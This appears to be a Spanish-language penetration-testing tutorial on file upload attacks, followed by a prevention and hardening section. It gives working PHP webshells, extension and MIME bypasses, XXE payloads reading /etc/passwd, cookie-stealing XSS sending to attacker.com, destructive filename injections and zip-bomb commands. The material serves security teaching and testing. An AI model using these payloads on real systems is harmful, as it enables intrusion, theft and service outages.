File Upload Attacks
File upload vulnerabilities son una de las vulnerabilidades más peligrosas en aplicaciones web, permitiendo a los atacantes subir archivos maliciosos que pueden llevar a ejecución remota de código (RCE), inclusión local de archivos (LFI), inyecciones XML (XXE), y ataques de denegación de servicio (DoS).
Categorización de Vulnerabilidades de File Upload
Las vulnerabilidades de file upload se pueden agrupar en tres categorías principales:
1. Ejecución Directa de Archivos Subidos
Vulnerabilidades que permiten subir archivos ejecutables (PHP, ASP, JSP, etc.) que son procesados directamente por la aplicación web, resultando en ejecución remota de código.
2. Combinación con Otras Vulnerabilidades
Combinación de file upload con directory traversal, XXE, XSS, o SSRF para amplificar el impacto de la explotación.
3. Vulnerabilidades Basadas en Interacción del Usuario
Ataques que requieren que el usuario interactúe con el archivo subido (ej. macros en documentos Office). Este tipo está fuera del alcance de esta guía.
Identificación de Mecanismos de Upload
Ubicaciones Comunes de Upload
- CMS (Content Management Systems): Avatar de perfil, creación de posts, archivos adjuntos
- Aplicaciones empresariales: Secciones de carreras (CVs), cargas de documentos, galerías
- Aplicaciones de usuario: Perfiles de usuario, fotos, documentos
- Formularios de feedback/contacto: Evidencia, adjuntos, archivos de soporte
Herramientas para Identificación
- Wappalyzer (extensión navegador): Identifica tecnologías web (Apache, PHP, versiones)
- Burp Suite / OWASP ZAP: Escaneo activo de vulnerabilidades
- curl/wget: Pruebas manuales y fuzzing
- exiftool: Manipulación de metadatos de archivos
Identificación del Framework Web
Antes de explotar, es crucial identificar qué lenguaje/framework ejecuta la aplicación:
Métodos de Identificación
1. Prueba de Extensión en URLs
# Probar diferentes extensiones en páginas conocidas
curl http://target.com/index.php
curl http://target.com/index.asp
curl http://target.com/index.aspx
curl http://target.com/index.jsp2. Usar Wappalyzer Instalable en todos los navegadores principales, identifica:
- Tipo y versión del servidor web
- Lenguaje de programación
- Sistema operativo backend
- Librerías y frameworks
3. Análisis de Headers HTTP
curl -I http://target.com
# Buscar headers como: Server, X-Powered-By, X-AspNet-Version4. Fuzzing de Archivos
# Usando SecLists para fuzzing de extensiones
# https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/web-extensions.txtTipos de Validación Backend
1. Validación Ausente (Arbitrary File Upload)
Riesgo: CRÍTICO
La aplicación no valida ningún aspecto del archivo subido.
Explotación:
# Crear un webshell PHP simple
echo '<?php system($_GET["cmd"]); ?>' > shell.php
# Subir a través del formulario
# Acceder: http://target.com/uploads/shell.php?cmd=idWebshell PHP Manual:
<?php system($_REQUEST['cmd']); ?>Webshell ASP Manual:
<% eval request('cmd') %>2. Validación de Extensión - Blacklist
Riesgo: ALTO
La aplicación bloquea una lista de extensiones peligrosas.
Vulnerabilidad: Lista no Completa
Apache y otros servidores pueden ejecutar múltiples extensiones:
.php,.php3,.php4,.php5,.php7,.phps,.phtml,.phar
Bypass #1: Extensiones Alternativas
Método: Usar extensiones menos comunes que no están en la blacklist
# Intentar estas extensiones si .php está bloqueado:
# .php5, .php7, .phps, .phtml, .phar, .inc, .shtml
# Ejemplo en Burp Intruder:
# Fuzzear el nombre del archivo con wordlist de extensiones PHP
# https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Extension%20PHP/extensions.lstBypass #2: Case-Sensitivity
Windows servers tienen nombre de archivos case-insensitive:
# En lugar de: shell.php
# Intentar: shell.pHP, shell.PhP, shell.pHp, shell.PHPBypass #3: Configuración de Servidor (.htaccess)
Si Apache es el servidor, se puede subir un archivo .htaccess para redefinir cómo ejecuta código:
Paso 1: Crear archivo .htaccess
AddType application/x-httpd-php .l33tEste archivo le dice a Apache que trate archivos .l33t como PHP.
Paso 2: Subir .htaccess
Content-Disposition: form-data; name="avatar"; filename=".htaccess"
Content-Type: application/x-php
AddType application/x-httpd-php .l33tPaso 3: Subir webshell con extensión personalizada
Content-Disposition: form-data; name="avatar"; filename="shell.l33t"
Content-Type: application/x-php
<?php system($_GET['cmd']); ?>Acceder: http://target.com/uploads/shell.l33t?cmd=id
3. Validación de Extensión - Whitelist
Riesgo: MEDIO
Solo se permiten extensiones específicas.
Bypass #1: Double Extensions
Si la whitelist es débil (usa regex sin $ al final):
// Código vulnerable
if (!preg_match('^.*\.(jpg|jpeg|png|gif)', $fileName)) {
echo "Only images are allowed";
die();
}El regex solo verifica si el nombre CONTIENE una extensión permitida, no si TERMINA con ella.
Explotación:
# Nombre del archivo: shell.jpg.php
# Pasa la validación (contiene .jpg) pero se ejecuta como PHP
# Algunos servidores ejecutan la última extensiónRequest HTTP:
Content-Disposition: form-data; name="avatar"; filename="shell.jpg.php"
Content-Type: application/x-php
<?php system($_GET['cmd']); ?>Bypass #2: Reverse Double Extension
Depende de misconfiguraciones del servidor Apache:
<!-- En /etc/apache2/mods-enabled/php7.4.conf -->
<FilesMatch ".+\.ph(ar|p|tml)">
SetHandler application/x-httpd-php
</FilesMatch>Sin $ al final, coincide con cualquier archivo que CONTENGA .php:
Explotación:
# Archivo: shell.php.jpg
# - Pasa whitelist (termina en .jpg)
# - Apache ejecuta como PHP (contiene .php)Request HTTP:
Content-Disposition: form-data; name="avatar"; filename="shell.php.jpg"
Content-Type: application/x-php
<?php system($_GET['cmd']); ?>Acceder: http://target.com/uploads/shell.php.jpg?cmd=id
Bypass #3: Character Injection
Inyectar caracteres especiales que confundan al servidor:
Caracteres útiles:
%00(Null Byte - PHP <5.3.4)%20(Espacio)%0a(Newline):(Windows Stream)/(Path separator)%0d0a(CRLF)
Ejemplos:
# PHP 5.3.3 y anteriores
# shell.php%00.jpg → guardado como shell.php
# Windows servers
# shell.aspx:.jpg → guardado como shell.aspx (Alternate Data Stream)
# Scripts de fuzzing
for char in '%20' '%0a' '%00' '%0d0a' '/' '.\\' '.' '…' ':'; do
for ext in '.php' '.phps'; do
echo "shell$char$ext.jpg" >> wordlist.txt
echo "shell$ext$char.jpg" >> wordlist.txt
echo "shell.jpg$char$ext" >> wordlist.txt
echo "shell.jpg$ext$char" >> wordlist.txt
done
done4. Validación de Content-Type
Riesgo: BAJO
La aplicación verifica el header Content-Type enviado por el cliente.
Vulnerabilidad: El Content-Type es controlado por el cliente, no es confiable.
Bypass: Cambiar Content-Type
// Request original (bloqueado)
Content-Disposition: form-data; name="avatar"; filename="shell.php"
Content-Type: application/x-php
<?php system($_GET['cmd']); ?>
// Request modificado (permitido)
Content-Disposition: form-data; name="avatar"; filename="shell.php"
Content-Type: image/png
<?php system($_GET['cmd']); ?>Herramientas:
- Burp Suite Repeater: Interceptar y modificar requests
- curl:
curl -F "file=@shell.php" -H "Content-Type: image/png" http://target.com/upload
5. Validación de MIME-Type / Magic Bytes
Riesgo: MEDIO-ALTO
La aplicación verifica el contenido del archivo (primeros bytes - "Magic Bytes").
Ejemplos de Magic Bytes:
- GIF:
GIF87aoGIF89a - PNG:
\x89PNG\r\n\x1a\n - JPEG:
\xFF\xD8\xFF - ZIP:
PK\x03\x04
Bypass: Agregar Magic Bytes
# Crear archivo PHP con signature de GIF
echo -n 'GIF8' > shell.php
echo '<?php system($_GET["cmd"]); ?>' >> shell.php
# Verificar con file command
file shell.php
# Output: GIF image data, version 8a
# Subir como shell.php (not shell.gif)
# El servidor detectará MIME-Type como GIF pero ejecutará PHPScript Python para crear polyglot:
#!/usr/bin/env python3
import sys
gif_header = b'GIF89a'
php_code = b'<?php system($_GET["cmd"]); ?>'
with open('polyglot.php', 'wb') as f:
f.write(gif_header)
f.write(php_code)
print("[+] Archivo polyglot creado: polyglot.php")Bypass sin Cambiar Extensión
Validación del Cliente (Front-End)
Vulnerabilidad: Validación JavaScript que puede ser deshabilitada.
Método 1: Intercepción y Modificación de Request
# 1. Capturar request con Burp Suite
# 2. Cambiar filename a shell.php
# 3. Cambiar Content-Type a image/png
# 4. Cambiar contenido del archivo a código PHP
# 5. Enviar requestMétodo 2: Deshabilitar Validación JavaScript
En Firefox:
# 1. Abrir DevTools (F12)
# 2. Inspector > seleccionar campo de upload
# 3. Modificar HTML: eliminar onchange="checkFile()" y accept="..."
# 4. Subir archivo PHP normalmenteScript JavaScript para ejecutar en console:
// Remover validaciones del formulario
document.getElementById('uploadFile').removeAttribute('accept');
document.getElementById('uploadFile').removeAttribute('onchange');
document.getElementById('submit').removeAttribute('disabled');Path Traversal en Uploads
Riesgo: ALTO
Inyectar path traversal en el nombre del archivo para escribir en directorios arbitrarios.
Bypass #1: Directory Traversal en Filename
# Intención: escribir en /var/www/html en vez de /uploads
# Nombre: ../shell.php
# URL Encoded: ..%2fshell.php
# URL Encoded double: ..%252fshell.php
# Ejemplo en POST
Content-Disposition: form-data; name="avatar"; filename="..%2fshell.php"Acceder:
# En vez de: http://target.com/uploads/shell.php
# Acceder a: http://target.com/shell.phpAtaques Avanzados
1. Archivos Polyglot
Un archivo que es válido en múltiples formatos simultáneamente.
Usando exiftool para crear PNG/PHP polyglot
# Crear archivo polyglot: PNG válido + PHP ejecutable
exiftool -Comment="<?php system(\$_GET['cmd']); ?>" image.png -o polyglot.php
# El archivo:
# - Es una imagen PNG válida (los visores la abren correctamente)
# - Contiene código PHP en metadatos (ejecutable por servidor)
# - Puede pasar validaciones de MIME-Type y magic bytesHerramientas útiles:
exiftool: Manipular metadatos (https://exiftool.org)imagemagick: Modificar imágenesjpegoptim: Comprimir JPEGs
2. Inyecciones en Nombre de Archivo
El nombre del archivo podría ser procesado por comandos del sistema.
Command Injection en Filename
# Archivo: shell$(whoami).jpg
# Si se usa en comando: mv shell$(whoami).jpg /uploads/
# Se ejecutaría: whoami
# Variantes:
# shell`whoami`.jpg
# shell.jpg;rm -rf /
# shell.jpg||whoamiSQL Injection en Filename
# Archivo: file';select+sleep(5);--.jpg
# Si se inserta en SQL sin escapar, causaría un time-based SQLiXSS en Filename
# Archivo: <script>alert(1)</script>.jpg
# Si se refleja en HTML sin encoding, causaría XSS3. Attacks en Archivos Permitidos
Incluso si solo se permiten ciertos tipos, pueden ser explotables:
SVG + XXE
SVG es XML-based, vulnerable a XXE:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg xmlns="http://www.w3.org/2000/svg" version="1.1" width="1" height="1">
<rect x="1" y="1" width="1" height="1" fill="green" stroke="black" />
<script type="text/javascript">alert(document.domain);</script>
</svg>SVG + XXE para leer archivos
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg>&xxe;</svg>SVG + XXE para leer código fuente (PHP)
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php">
]>
<svg>&xxe;</svg>SVG + XSS Basado en Eventos
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" version="1.1" width="100" height="100">
<circle cx="50" cy="50" r="40" fill="red" onclick="fetch('http://attacker.com/?cookie=' + document.cookie)"/>
</svg>Imagen con XSS en Metadatos
# Usar exiftool para inyectar XSS en metadatos
exiftool -Comment="<img src=x onerror='fetch(\"http://attacker.com?c=\" + document.cookie)'>" image.jpg
# Si la aplicación muestra metadatos en HTML sin encoding, se ejecutaráHTML Upload
Si se permite HTML:
<html>
<body>
<img src="x" onerror="fetch('http://attacker.com/steal.php?c=' + document.cookie)">
</body>
</html>Acceso directo: http://target.com/uploads/malicious.html
PDF/Office Documents + XXE
Office documents (.docx, .xlsx, .pptx) son archivos ZIP con XML dentro:
# 1. Descomprimir el .docx
unzip malicious.docx -d extracted/
# 2. Modificar XML con XXE
# En extracted/word/document.xml:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE w:document [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<w:document>
<w:body>
<w:p>
<w:r>
<w:t>&xxe;</w:t>
</w:r>
</w:p>
</w:body>
</w:document>
# 3. Recomprimir
cd extracted && zip -r malicious.docx .4. Denial of Service (DoS)
Decompression Bomb
Archivo ZIP con archives anidados que se expanden a tamaños enormes:
# Crear bomb:
dd if=/dev/zero bs=1M count=1000 | gzip > bomb.gz
gzip -c bomb.gz >> bomb.gz # Nesting
# La aplicación intenta descomprimir → consume toda la RAM → crashPixel Flood
Imagen JPG/PNG con metadatos manipulados para indicar tamaño falso:
# Crear imagen 500x500, pero editar cabecera para decir 4294967295x4294967295 (4 gigapixeles)
# El servidor intenta asignar memoria para 4 gigapixeles → crashLarge File Upload
Subir archivo de tamaño excesivo para llenar disco:
# Si no hay límite de tamaño:
dd if=/dev/zero bs=1M count=10000 of=bigfile.bin
curl -F "file=@bigfile.bin" http://target.com/upload5. Ataques Windows-Específicos
Reserved Characters
Caracteres reservados en Windows pueden causar errores:
# Archivo: shell|malicious.php
# Archivo: shell<payload>.php
# Archivo: shell>output.txt.php
# Archivo: shell*.php
# Archivo: shell?.phpEstos causan errores que pueden revelar la ruta de upload.
Reserved Names
Nombres reservados de Windows:
# Intentar subir como:
# CON, COM1, COM2, LPT1, LPT2, NUL, PRN, AUX, CONIN$, CONOUT$
# Resultados: Error 403 o similar que revela información8.3 Filename Convention
Windows antigua (años 80) usaba límite de 8 caracteres + extensión.
Los nombres largos se truncaban con ~1, ~2, etc.
# hackthebox.txt puede ser:
# HAC~1.TXT, HAC~2.TXT, etc.
# Explotación: Overwrite archivos
# Subir: WEB~1.CON para overwrite web.conf
# O: APP~1.PHP para app.phpDisclosure de Directorio de Upload
Riesgo: MEDIO
Si no se conoce dónde se subieron los archivos, se puede descubrir mediante:
Métodos de Disclosure
1. Análisis de Código Fuente (si disponible)
- Buscar rutas de upload en código PHP/ASP
- Usar XXE o LFI para leer código fuente
2. Fuzzing de Directorios
# Directorios comunes de upload
/uploads
/upload
/files
/documents
/attachments
/avatars
/profile_images
/public/uploads
/assets/uploads
# Fuzzing con SecLists
# https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/common.txt
gobuster dir -u http://target.com -w common.txt3. Forzar Errores
# - Subir archivo con nombre existente (puede revelar ruta)
# - Subir dos requests simultáneamente
# - Nombre muy largo (5000+ caracteres)
# - Caracteres especiales en nombre4. Análisis de Response
# La aplicación puede retornar:
# - "File uploaded to: /uploads/shell.php"
# - "Error: Could not write to /var/www/uploads/"
# - Headers con Location: /uploads/shell.php5. Source-code Inspection
<!-- En HTML/JavaScript -->
<img src="/uploads/avatar_123.jpg">
<!-- Revela estructura de directorios -->Prevención y Mitigación
1. Validación de Extensión (Backend)
Combinar Whitelist + Blacklist:
<?php
$fileName = basename($_FILES["uploadFile"]["name"]);
// Blacklist test (bloquear extensiones peligrosas)
if (preg_match('/^.*\.ph(p|ps|ar|tml)/', $fileName)) {
echo "Restricted file type";
die();
}
// Whitelist test (solo permitir lo necesario)
if (!preg_match('/^.*\.(jpg|jpeg|png|gif)$/', $fileName)) {
echo "Only images are allowed";
die();
}
?>Reglas importantes:
- Usar
^.*\.ext$(comienza y TERMINA con extensión) - Implementar en backend (nunca confiar en cliente)
- Bloquear extensiones peligrosas: .php, .php3-7, .phtml, .phar, .asp, .aspx, .jsp, .jspx
- Whitelist es más seguro que blacklist
2. Validación de Contenido
<?php
$fileName = basename($_FILES["uploadFile"]["name"]);
$contentType = $_FILES['uploadFile']['type'];
$MIMEtype = mime_content_type($_FILES['uploadFile']['tmp_name']);
// Validar extensión
if (!preg_match('/^.*\.png$/', $fileName)) {
echo "Only PNG images allowed";
die();
}
// Validar Content-Type header
if ($contentType !== 'image/png') {
echo "Invalid Content-Type";
die();
}
// Validar MIME-Type (magic bytes)
if ($MIMEtype !== 'image/png') {
echo "File signature doesn't match PNG";
die();
}
// Asegurar que extensión = contenido
// Si alguna validación falla, rechazar archivo
?>Validaciones obligatorias:
- Extensión
- Content-Type header
- MIME-Type (magic bytes)
- Tamaño de archivo
- Dimensiones (si es imagen)
3. Almacenamiento Seguro
<?php
// NO guardar con nombre original
// NO en directorio web-accessible
// SI en directorios fuera del webroot
$uploadDir = '/var/uploads/'; // Fuera de /var/www/html
$randomName = bin2hex(random_bytes(16)) . '.' . $extension;
move_uploaded_file($_FILES['uploadFile']['tmp_name'], $uploadDir . $randomName);
// Guardar mapping en database
// filename_original | filename_stored | user_id | timestamp
?>4. Restricción de Acceso Directo
Opción 1: Usar Download Script
<?php
// download.php
$fileId = $_GET['id'];
$file = getFileFromDatabase($fileId); // Validar propiedad
// Validar autorización
if ($file['user_id'] !== getCurrentUserId()) {
header("HTTP/1.1 403 Forbidden");
die();
}
// Servir con headers seguros
header('Content-Disposition: attachment; filename="' . $file['original_name'] . '"');
header('Content-Type: application/octet-stream');
header('X-Content-Type-Options: nosniff');
readfile('/var/uploads/' . $file['stored_name']);
?>Opción 2: Bloquear acceso directo
# .htaccess en /uploads/
<FilesMatch "\.php$">
Deny from all
</FilesMatch>
# Bloquear ejecución
php_flag engine off
# Retornar 403 para todo
<FilesMatch ".*">
Deny from all
</FilesMatch>5. Configuración del Servidor
PHP (php.ini)
# Deshabilitar funciones peligrosas
disable_functions = exec,shell_exec,system,passthru,proc_open,popen,curl_exec,curl_multi_exec
# Limitar tamaño de upload
upload_max_filesize = 10M
post_max_size = 10M
# Limitar tiempo de ejecución
max_execution_time = 30
# Desabilitar URLs remotas
allow_url_include = Off
allow_url_fopen = Off
# Open basedir - restricción de acceso a archivos
open_basedir = /var/www/html:/var/uploadsApache (apache2.conf)
# Deshabilitar ejecución de scripts en directorio de uploads
<Directory /var/www/html/uploads>
php_flag engine off
SetHandler default-handler
AddType text/plain .php .php3 .php4 .php5 .phtml
</Directory>
# Requerir autenticación para acceso directo
<Directory /var/uploads>
Deny from all
</Directory>6. Validación Adicional
<?php
$file = $_FILES['uploadFile'];
$fileName = basename($file['name']);
$fileTmpName = $file['tmp_name'];
$fileSize = $file['size'];
// 1. Verificar que se subió sin errores
if ($file['error'] !== UPLOAD_ERR_OK) {
die("Upload error: " . $file['error']);
}
// 2. Verificar tamaño máximo
$maxSize = 10 * 1024 * 1024; // 10 MB
if ($fileSize > $maxSize) {
die("File too large");
}
// 3. Verificar que es archivo real (not malicious upload)
if (!is_uploaded_file($fileTmpName)) {
die("Suspicious file upload");
}
// 4. Verificar con finfo para MIME type
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mimeType = finfo_file($finfo, $fileTmpName);
finfo_close($finfo);
if (!in_array($mimeType, array('image/jpeg', 'image/png', 'image/gif'))) {
die("Invalid file type");
}
// 5. Virus scanning (si servidor tiene ClamAV)
// exec("clamscan --quiet --infected $fileTmpName", $output, $return);
// if ($return !== 0) { die("Malware detected"); }
?>7. Escaneo de Seguridad
- Actualizar librerías: ImageMagick, FFmpeg, etc. regularmente
- WAF (Web Application Firewall): ModSecurity con reglas OWASP CRS
- Virus scanning: Integración con ClamAV u similar
- Logging: Registrar intentos de upload sospechosos
- Monitoreo: Alertas cuando se ejecutan archivos recién subidos
Herramientas Recomendadas
Fuzzing y Testing
- Burp Suite Community: Interceptación y modificación de requests
- SecLists: Wordlists para fuzzing
- OWASP ZAP: Scanning de seguridad
- PayloadsAllTheThings: Colección de payloads y técnicas
Manipulación de Archivos
- exiftool: Lectura/modificación de metadatos (https://exiftool.org)
- ImageMagick: Manipulación de imágenes
- ffmpeg: Manipulación de video/audio
- xxd/hexdump: Inspección de bytes
- file: Identificación de tipo de archivo
Shells y Exploits
- SecLists Web Shells: https://github.com/danielmiessler/SecLists/tree/master/Web-Shells
- Laudanum: Colección de shells (en Kali en
/usr/share/laudanum) - pentestmonkey php-reverse-shell: https://github.com/pentestmonkey/php-reverse-shell
- msfvenom: Generación de payloads
Testing de MIME Types
# Verificar tipo de archivo
file -i shell.php
file -b shell.php
# Verificar con finfo
php -r "echo mime_content_type('shell.php');"Checklist de Penetration Testing
Al realizar un test de file upload, verificar:
- [ ] ¿Existen funcionalidades de upload?
- [ ] ¿Qué tipos de archivo se permiten (en frontend y backend)?
- [ ] ¿Se valida extensión? ¿Blacklist o whitelist?
- [ ] ¿Se valida Content-Type?
- [ ] ¿Se valida MIME-Type (magic bytes)?
- [ ] ¿Se puede cambiar nombre de archivo?
- [ ] ¿Se permite path traversal en nombre?
- [ ] ¿Se conoce la ruta de destino?
- [ ] ¿Se puede acceder directamente a archivos subidos?
- [ ] ¿Se ejecutan archivos en el directorio de uploads?
- [ ] ¿Se valida tamaño de archivo?
- [ ] ¿Hay límite de rate en uploads?
- [ ] ¿Se registran uploads fallidos?
- [ ] ¿Se pueden ver metadatos de archivos subidos?
Ejemplos Prácticos Completos
Ejemplo 1: RCE Simple con Validación Ausente
# 1. Crear webshell
echo '<?php system($_GET["cmd"]); ?>' > shell.php
# 2. Subir a través de formulario
curl -F "file=@shell.php" http://target.com/upload.php
# 3. Ejecutar comandos
curl "http://target.com/uploads/shell.php?cmd=whoami"Ejemplo 2: Bypass de Blacklist con .htaccess
# 1. Crear .htaccess
echo "AddType application/x-httpd-php .l33t" > .htaccess
# 2. Subir .htaccess
curl -F "file=@.htaccess" http://target.com/upload.php
# 3. Crear webshell con extensión personalizada
echo '<?php system($_GET["cmd"]); ?>' > shell.l33t
# 4. Subir webshell
curl -F "file=@shell.l33t" http://target.com/upload.php
# 5. Ejecutar
curl "http://target.com/uploads/shell.l33t?cmd=id"Ejemplo 3: Content-Type Bypass
# Modificar Content-Type en Burp Repeater:
POST /upload.php HTTP/1.1
Host: target.com
Content-Length: 156
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="avatar"; filename="shell.php"
Content-Type: image/png
<?php system($_GET['cmd']); ?>
------Boundary--
# O con curl:
curl -F "file=@shell.php;type=image/png" http://target.com/upload.phpEjemplo 4: MIME-Type Bypass (GIF Magic Bytes)
# 1. Crear archivo con GIF signature + PHP code
printf 'GIF89a' > shell.php
echo '<?php system($_GET["cmd"]); ?>' >> shell.php
# 2. Verificar
file shell.php
# Output: GIF image data, version 89a
# 3. Subir
curl -F "file=@shell.php" http://target.com/upload.php
# 4. Ejecutar
curl "http://target.com/uploads/shell.php?cmd=id"Ejemplo 5: XXE con SVG
# 1. Crear SVG con XXE
cat > malicious.svg << 'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg xmlns="http://www.w3.org/2000/svg" version="1.1" width="1" height="1">
<text x="0" y="0">&xxe;</text>
</svg>
EOF
# 2. Subir SVG
curl -F "file=@malicious.svg" http://target.com/upload.php
# 3. Ver resultado en página (si metadatos se muestran)
curl http://target.com/uploads/malicious.svgConclusión
Las vulnerabilidades de file upload son críticas y requieren múltiples capas de validación:
- Backend validation siempre (extensión + contenido)
- Almacenamiento seguro (nombres aleatorios, fuera de webroot)
- Restricción de acceso (sin ejecución en upload dir)
- Configuración del servidor (disable_functions, open_basedir)
- Logging y monitoreo (detectar patrones sospechosos)
No confiar nunca en validación del cliente y siempre validar desde múltiples ángulos (extensión, MIME-type, magic bytes, tamaño, etc.).